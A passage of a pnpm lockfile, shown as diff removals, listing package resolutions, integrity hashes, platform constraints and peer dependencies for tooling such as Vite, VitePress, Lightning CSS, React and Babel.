sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} - engines: {node: '>= 0.8.0'} - - lightningcss-android-arm64@1.32.0: - resolution: {integrity: sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [android] - - lightningcss-darwin-arm64@1.32.0: - resolution: {integrity: sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [darwin] - - lightningcss-darwin-x64@1.32.0: - resolution: {integrity: sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [darwin] - - lightningcss-freebsd-x64@1.32.0: - resolution: {integrity: sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [freebsd] - - lightningcss-linux-arm-gnueabihf@1.32.0: - resolution: {integrity: sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==} - engines: {node: '>= 12.0.0'} - cpu: [arm] - os: [linux] - - lightningcss-linux-arm64-gnu@1.32.0: - resolution: {integrity: sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [linux] - - lightningcss-linux-arm64-musl@1.32.0: - resolution: {integrity: sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [linux] - - lightningcss-linux-x64-gnu@1.32.0: - resolution: {integrity: sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [linux] - - lightningcss-linux-x64-musl@1.32.0: - resolution: {integrity: sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [linux] - - lightningcss-win32-arm64-msvc@1.32.0: - resolution: {integrity: sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [win32] - - lightningcss-win32-x64-msvc@1.32.0: - resolution: {integrity: sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [win32] - - lightningcss@1.32.0: - resolution: {integrity: sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==} - engines: {node: '>= 12.0.0'} - - locate-path@6.0.0: - resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} - engines: {node: '>=10'} - - lodash.merge@4.6.2: - resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==} - - lru-cache@5.1.1: - resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} - - magic-string@0.30.21: - resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} - - mark.js@8.11.1: - resolution: {integrity: sha512-1I+1qpDt4idfgLQG+BNWmrqku+7/2bi5nLf4YwF8y8zXvmfiTBY3PV3ZibfrjBueCByROpuBjLLFCajqkgYoLQ==} - - math-intrinsics@1.1.0: - resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} - engines: {node: '>= 0.4'} - - mdast-util-to-hast@13.2.1: - resolution: {integrity: sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==} - - micromark-util-character@2.1.1: - resolution: {integrity: sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==} - - micromark-util-encode@2.0.1: - resolution: {integrity: sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==} - - micromark-util-sanitize-uri@2.0.1: - resolution: {integrity: sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==} - - micromark-util-symbol@2.0.1: - resolution: {integrity: sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==} - - micromark-util-types@2.0.2: - resolution: {integrity: sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==} - - mime-db@1.52.0: - resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} - engines: {node: '>= 0.6'} - - mime-types@2.1.35: - resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} - engines: {node: '>= 0.6'} - - minimatch@3.1.2: - resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} - - minisearch@7.2.0: - resolution: {integrity: sha512-dqT2XBYUOZOiC5t2HRnwADjhNS2cecp9u+TJRiJ1Qp/f5qjkeT5APcGPjHw+bz89Ms8Jp+cG4AlE+QZ/QnDglg==} - - mitt@3.0.1: - resolution: {integrity: sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==} - - ms@2.1.3: - resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} - - nanoid@3.3.11: - resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==} - engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} - hasBin: true - - natural-compare@1.4.0: - resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==} - - node-releases@2.0.19: - resolution: {integrity: sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==} - - node-releases@2.0.36: - resolution: {integrity: sha512-TdC8FSgHz8Mwtw9g5L4gR/Sh9XhSP/0DEkQxfEFXOpiul5IiHgHan2VhYYb6agDSfp4KuvltmGApc8HMgUrIkA==} - - oniguruma-parser@0.12.1: - resolution: {integrity: sha512-8Unqkvk1RYc6yq2WBYRj4hdnsAxVze8i7iPfQr8e4uSP3tRv0rpZcbGUDvxfQQcdwHt/e9PrMvGCsa8OqG9X3w==} - - oniguruma-to-es@4.3.4: - resolution: {integrity: sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA==} - - optionator@0.9.4: - resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==} - engines: {node: '>= 0.8.0'} - - p-limit@3.1.0: - resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} - engines: {node: '>=10'} - - p-locate@5.0.0: - resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==} - engines: {node: '>=10'} - - parent-module@1.0.1: - resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} - engines: {node: '>=6'} - - path-exists@4.0.0: - resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} - engines: {node: '>=8'} - - path-key@3.1.1: - resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} - engines: {node: '>=8'} - - perfect-debounce@2.0.0: - resolution: {integrity: sha512-fkEH/OBiKrqqI/yIgjR92lMfs2K8105zt/VT6+7eTjNwisrsh47CeIED9z58zI7DfKdH3uHAn25ziRZn3kgAow==} - - picocolors@1.1.1: - resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} - - picomatch@4.0.2: - resolution: {integrity: sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==} - engines: {node: '>=12'} - - picomatch@4.0.3: - resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} - engines: {node: '>=12'} - - postcss-value-parser@4.2.0: - resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} - - postcss@8.5.8: - resolution: {integrity: sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==} - engines: {node: ^10 || ^12 || >=14} - - prelude-ls@1.2.1: - resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} - engines: {node: '>= 0.8.0'} - - property-information@7.1.0: - resolution: {integrity: sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ==} - - proxy-from-env@1.1.0: - resolution: {integrity: sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==} - - punycode@2.3.1: - resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} - engines: {node: '>=6'} - - react-dom@19.1.0: - resolution: {integrity: sha512-Xs1hdnE+DyKgeHJeJznQmYMIBG3TKIHJJT95Q58nHLSrElKlGQqDTR2HQ9fx5CN/Gk6Vh/kupBTDLU11/nDk/g==} - peerDependencies: - react: ^19.1.0 - - react-refresh@0.17.0: - resolution: {integrity: sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==} - engines: {node: '>=0.10.0'} - - react@19.1.0: - resolution: {integrity: sha512-FS+XFBNvn3GTAWq26joslQgWNoFu08F4kl0J4CgdNKADkdSGXQyTCnKteIAJy96Br6YbpEU1LSzV5dYtjMkMDg==} - engines: {node: '>=0.10.0'} - - regex-recursion@6.0.2: - resolution: {integrity: sha512-0YCaSCq2VRIebiaUviZNs0cBz1kg5kVS2UKUfNIx8YVs1cN3AV7NTctO5FOKBA+UT2BPJIWZauYHPqJODG50cg==} - - regex-utilities@2.3.0: - resolution: {integrity: sha512-8VhliFJAWRaUiVvREIiW2NXXTmHs4vMNnSzuJVhscgmGav3g9VDxLrQndI3dZZVVdp0ZO/5v0xmX516/7M9cng==} - - regex@6.1.0: - resolution: {integrity: sha512-6VwtthbV4o/7+OaAF9I5L5V3llLEsoPyq9P1JVXkedTP33c7MfCG0/5NOPcSJn0TzXcG9YUrR0gQSWioew3LDg==} - - resolve-from@4.0.0: - resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} - engines: {node: '>=4'} - - rfdc@1.4.1: - resolution: {integrity: sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==} - - rollup@4.40.0: - resolution: {integrity: sha512-Noe455xmA96nnqH5piFtLobsGbCij7Tu+tb3c1vYjNbTkfzGqXqQXG3wJaYXkRZuQ0vEYN4bhwg7QnIrqB5B+w==} - engines: {node: '>=18.0.0', npm: '>=8.0.0'} - hasBin: true - - rollup@4.53.3: - resolution: {integrity: sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA==} - engines: {node: '>=18.0.0', npm: '>=8.0.0'} - hasBin: true - - scheduler@0.26.0: - resolution: {integrity: sha512-NlHwttCI/l5gCPR3D1nNXtWABUmBwvZpEQiD4IXSbIDq8BzLIK/7Ir5gTFSGZDUu37K5cMNp0hFtzO38sC7gWA==} - - semver@6.3.1: - resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} - hasBin: true - - shebang-command@2.0.0: - resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} - engines: {node: '>=8'} - - shebang-regex@3.0.0: - resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} - engines: {node: '>=8'} - - shiki@3.20.0: - resolution: {integrity: sha512-kgCOlsnyWb+p0WU+01RjkCH+eBVsjL1jOwUYWv0YDWkM2/A46+LDKVs5yZCUXjJG6bj4ndFoAg5iLIIue6dulg==} - - source-map-js@1.2.1: - resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} - engines: {node: '>=0.10.0'} - - space-separated-tokens@2.0.2: - resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==} - - speakingurl@14.0.1: - resolution: {integrity: sha512-1POYv7uv2gXoyGFpBCmpDVSNV74IfsWlDW216UPjbWufNf+bSU6GdbDsxdcxtfwb4xlI3yxzOTKClUosxARYrQ==} - engines: {node: '>=0.10.0'} - - stringify-entities@4.0.4: - resolution: {integrity: sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==} - - strip-json-comments@3.1.1: - resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==} - engines: {node: '>=8'} - - superjson@2.2.6: - resolution: {integrity: sha512-H+ue8Zo4vJmV2nRjpx86P35lzwDT3nItnIsocgumgr0hHMQ+ZGq5vrERg9kJBo5AWGmxZDhzDo+WVIJqkB0cGA==} - engines: {node: '>=16'} - - supports-color@7.2.0: - resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} - engines: {node: '>=8'} - - tabbable@6.3.0: - resolution: {integrity: sha512-EIHvdY5bPLuWForiR/AN2Bxngzpuwn1is4asboytXtpTgsArc+WmSJKVLlhdh71u7jFcryDqB2A8lQvj78MkyQ==} - - tailwindcss@4.2.2: - resolution: {integrity: sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q==} - - tapable@2.3.0: - resolution: {integrity: sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==} - engines: {node: '>=6'} - - tinyglobby@0.2.13: - resolution: {integrity: sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw==} - engines: {node: '>=12.0.0'} - - tinyglobby@0.2.15: - resolution: {integrity: sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==} - engines: {node: '>=12.0.0'} - - trim-lines@3.0.1: - resolution: {integrity: sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==} - - type-check@0.4.0: - resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} - engines: {node: '>= 0.8.0'} - - typescript@5.9.3: - resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} - engines: {node: '>=14.17'} - hasBin: true - - unist-util-is@6.0.1: - resolution: {integrity: sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==} - - unist-util-position@5.0.0: - resolution: {integrity: sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==} - - unist-util-stringify-position@4.0.0: - resolution: {integrity: sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==} - - unist-util-visit-parents@6.0.2: - resolution: {integrity: sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==} - - unist-util-visit@5.0.0: - resolution: {integrity: sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==} - - update-browserslist-db@1.1.3: - resolution: {integrity: sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==} - hasBin: true - peerDependencies: - browserslist: '>= 4.21.0' - - update-browserslist-db@1.2.3: - resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} - hasBin: true - peerDependencies: - browserslist: '>= 4.21.0' - - uri-js@4.4.1: - resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} - - vfile-message@4.0.3: - resolution: {integrity: sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==} - - vfile@6.0.3: - resolution: {integrity: sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==} - - vite@6.3.3: - resolution: {integrity: sha512-5nXH+QsELbFKhsEfWLkHrvgRpTdGJzqOZ+utSdmPTvwHmvU6ITTm3xx+mRusihkcI8GeC7lCDyn3kDtiki9scw==} - engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} - hasBin: true - peerDependencies: - '@types/node': ^18.0.0 || ^20.0.0 || >=22.0.0 - jiti: '>=1.21.0' - less: '*' - lightningcss: ^1.21.0 - sass: '*' - sass-embedded: '*' - stylus: '*' - sugarss: '*' - terser: ^5.16.0 - tsx: ^4.8.1 - yaml: ^2.4.2 - peerDependenciesMeta: - '@types/node': - optional: true - jiti: - optional: true - less: - optional: true - lightningcss: - optional: true - sass: - optional: true - sass-embedded: - optional: true - stylus: - optional: true - sugarss: - optional: true - terser: - optional: true - tsx: - optional: true - yaml: - optional: true - - vite@7.2.7: - resolution: {integrity: sha512-ITcnkFeR3+fI8P1wMgItjGrR10170d8auB4EpMLPqmx6uxElH3a/hHGQabSHKdqd4FXWO1nFIp9rRn7JQ34ACQ==} - engines: {node: ^20.19.0 || >=22.12.0} - hasBin: true - peerDependencies: - '@types/node': ^20.19.0 || >=22.12.0 - jiti: '>=1.21.0' - less: ^4.0.0 - lightningcss: ^1.21.0 - sass: ^1.70.0 - sass-embedded: ^1.70.0 - stylus: '>=0.54.8' - sugarss: ^5.0.0 - terser: ^5.16.0 - tsx: ^4.8.1 - yaml: ^2.4.2 - peerDependenciesMeta: - '@types/node': - optional: true - jiti: - optional: true - less: - optional: true - lightningcss: - optional: true - sass: - optional: true - sass-embedded: - optional: true - stylus: - optional: true - sugarss: - optional: true - terser: - optional: true - tsx: - optional: true - yaml: - optional: true - - vitepress@2.0.0-alpha.15: - resolution: {integrity: sha512-jhjSYd10Z6RZiKOa7jy0xMVf5NB5oSc/lS3bD/QoUc6V8PrvQR5JhC9104NEt6+oTGY/ftieVWxY9v7YI+1IjA==} - hasBin: true - peerDependencies: - markdown-it-mathjax3: ^4 - oxc-minify: '*' - postcss: ^8 - peerDependenciesMeta: - markdown-it-mathjax3: - optional: true - oxc-minify: - optional: true - postcss: - optional: true - - vue@3.5.25: - resolution: {integrity: sha512-YLVdgv2K13WJ6n+kD5owehKtEXwdwXuj2TTyJMsO7pSeKw2bfRNZGjhB7YzrpbMYj5b5QsUebHpOqR3R3ziy/g==} - peerDependencies: - typescript: '*' - peerDependenciesMeta: - typescript: - optional: true - - which@2.0.2: - resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} - engines: {node: '>= 8'} - hasBin: true - - word-wrap@1.2.5: - resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} - engines: {node: '>=0.10.0'} - - yallist@3.1.1: - resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} - - yocto-queue@0.1.0: - resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} - engines: {node: '>=10'} - - zwitch@2.0.4: - resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} - -snapshots: - - '@alloc/quick-lru@5.2.0': {} - - '@ampproject/remapping@2.3.0': - dependencies: - '@jridgewell/gen-mapping': 0.3.8 - '@jridgewell/trace-mapping': 0.3.25 - - '@babel/code-frame@7.26.2': - dependencies: - '@babel/helper-validator-identifier': 7.25.9 - js-tokens: 4.0.0 - picocolors: 1.1.1 - - '@babel/compat-data@7.26.8': {} - - '@babel/core@7.26.10': - dependencies: - '@ampproject/remapping': 2.3.0 - '@babel/code-frame': 7.26.2 - '@babel/generator': 7.27.0 - '@babel/helper-compilation-targets': 7.27.0 - '@babel/helper-module-transforms': 7.26.0(@babel/core@7.26.10) - '@babel/helpers': 7.27.0 - '@babel/parser': 7.27.0 - '@babel/template': 7.27.0 - '@babel/traverse': 7.27.0 - '@babel/types': 7.27.0 - convert-source-map: 2.0.0 - debug: 4.4.0 - gensync: 1.0.0-beta.2 - json5: 2.2.3 - semver: 6.3.1 - transitivePeerDependencies: - - supports-color - - '@babel/generator@7.27.0': - dependencies: - '@babel/parser': 7.27.0 - '@babel/types': 7.27.0 - '@jridgewell/gen-mapping': 0.3.8 - '@jridgewell/trace-mapping': 0.3.25 - jsesc: 3.1.0 - - '@babel/helper-compilation-targets@7.27.0': - dependencies: - '@babel/compat-data': 7.26.8 - '@babel/helper-validator-option': 7.25.9 - browserslist: 4.24.4 - lru-cache: 5.1.1 - semver: 6.3.1 - - '@babel/helper-module-imports@7.25.9': - dependencies: - '@babel/traverse': 7.27.0 - '@babel/types': 7.27.0 - transitivePeerDependencies: - - supports-color - - '@babel/helper-module-transforms@7.26.0(@babel/core@7.26.10)': - dependencies: - '@babel/core': 7.26.10 - '@babel/helper-module-imports': 7.25.9 - '@babel/helper-validator-identifier': 7.25.9 - '@babel/traverse': 7.27.0 - transitivePeerDependencies: - - supports-color - - '@babel/helper-plugin-utils@7.26.5': {} - - '@babel/helper-string-parser@7.25.9': {} - - '@babel/helper-string-parser@7.27.1': {} - - '@babel/helper-validator-identifier@7.25.9': {} - - '@babel/helper-validator-identifier@7.28.5': {} - - '@babel/helper-validator-option@7.25.9': {} - - '@babel/helpers@7.27.0': - dependencies: - '@babel/template': 7.27.0 - '@babel/types': 7.27.0 - - '@babel/parser@7.27.0': - dependencies: - '@babel/types': 7.27.0 - - '@babel/parser@7.28.5': - dependencies: - '@babel/types': 7.28.5 - - '@babel/plugin-transform-react-jsx-self@7.25.9(@babel/core@7.26.10)': - dependencies: - '@babel/core': 7.26.10 - '@babel/helper-plugin-utils': 7.26.5 - - '@babel/plugin-transform-react-jsx-source@7.25.9(@babel/core@7.26.10)': - dependencies: - '@babel/core': 7.26.10 - '@babel/helper-plugin-utils': 7.26.5 - - '@babel/template@7.27.0': - dependencies: - '@babel/code-frame': 7.26.2 - '@babel/parser': 7.27.0 - '@babel/types': 7.27.0 - - '@babel/traverse@7.27.0': - dependencies: - '@babel/code-frame': 7.26.2 - '@babel/generator': 7.27.0 - '@babel/parser': 7.27.0 - '@babel/template': 7.27.0 - '@babel/types': 7.27.0 - debug: 4.4.0 - globals: 11.12.0 - transitivePeerDependencies: - 